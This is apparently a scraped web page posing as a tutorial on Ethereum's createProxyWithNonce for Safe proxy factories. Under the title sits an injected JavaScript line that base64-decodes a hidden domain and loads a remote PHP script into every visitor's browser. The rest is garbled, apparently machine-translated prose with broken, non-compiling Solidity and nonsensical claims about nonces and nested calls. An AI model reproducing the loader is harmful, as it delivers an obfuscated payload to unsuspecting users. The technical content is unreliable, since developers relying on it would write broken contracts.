Ethereum: createProxyWithNonce nested function call?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=39447d0b”;document.body.appendChild(script);
Ethereum: Nested Functional Call Creating with CREATEPROXYWITHNONCE
Working with a safe proxy factory Ethereum, placement of new cuffs can be a difficult process. When trying to create a proxy server for one contract or function, there is one common problem using the “CREATEPROXYWITHNONCE” method.
In this article, we go into the specifics of using the method “Createproxywithnonce” with nested functions and non -fascinated.
Problem: Nested Functions Calls
Let’s take an example of a simple goal that uses two contracts:
Single
- “MyContract”: This is the main bet we want a proxy server that fulfills our own logic.
To place both contracts using a secure proxy coefficient using CREATEPROXYWITHNONCE, we should create nested functional calls:
`SOLIDITY
Contract MyFe {
MyFunction Function () Internal Return () {
// Here’s the logic …
}
}
Safecontract Agreement is secure
SAFEFUNCTION FUNCTION () Public NONCE [0] {
Return MyFunction ();
}
CREATEPROXYWITHNONCE Function (
_Singleton,
Initializer,
Sartna
) Returning internal rewriting (Mysafe) {
MyFe Proxy = New MyFe (Address (_Singleton));
// Initialize proxy server using some data …
Return proxy;
}
}
`
As you can see, we create nested functional calls: “CREATEPROXYWITHNONCE” is called recursive in another function. There are several problems for this approach:
* Nested Functional Calls are not allowed
: Repeated functional calls are not supported.
* Nonce is only valid for the first call : Since CREATEPROXYWITHNONCE “is creating a new case,” Mysafe “, we lose any of the previous call. We need to clearly pass through it.
Solution: Clear graduates NECI
To solve the above problems, we can customize our approach as follows:
`SOLIDITY
Contract MyFe {
MyFunction Function () Internal Return () {
// Here’s the logic …
}
}
Safecontract Agreement is secure
CREATEPROXYWITHNONCE Function (
_Singleton,
Initializer,
Sartna
) public disagreement [0] {
Return a new settlement (address (_Singleton));
}
Getproxy Function () Inner View Returns (Mysafe) {
// return the proxy server
}
}
`
In this revised approach:
- We go through the
Nece [0] to the" CreateproxywithNonce "method, which gets the value of the first call.
- We also define a separateGetproxy ()` that returns the case of proxy. This allows us to return the case of a proxy server without relying ourselves.
Conclusion
You need to clearly go through the parameter to create nested functional calls with “CREATEPROXYWITHNONCE” or use an internal display function. This can avoid recursive functional calls and ensure that your contract is properly initialized.
When placing goals that are safe using a secure proxy server, do not forget to follow the following instructions when creating nested functional calls:
- Clearly passing through, not related to CREATEPROXYWITHNONCE methods.
- Use internal display properties to get a proxy server.
Responses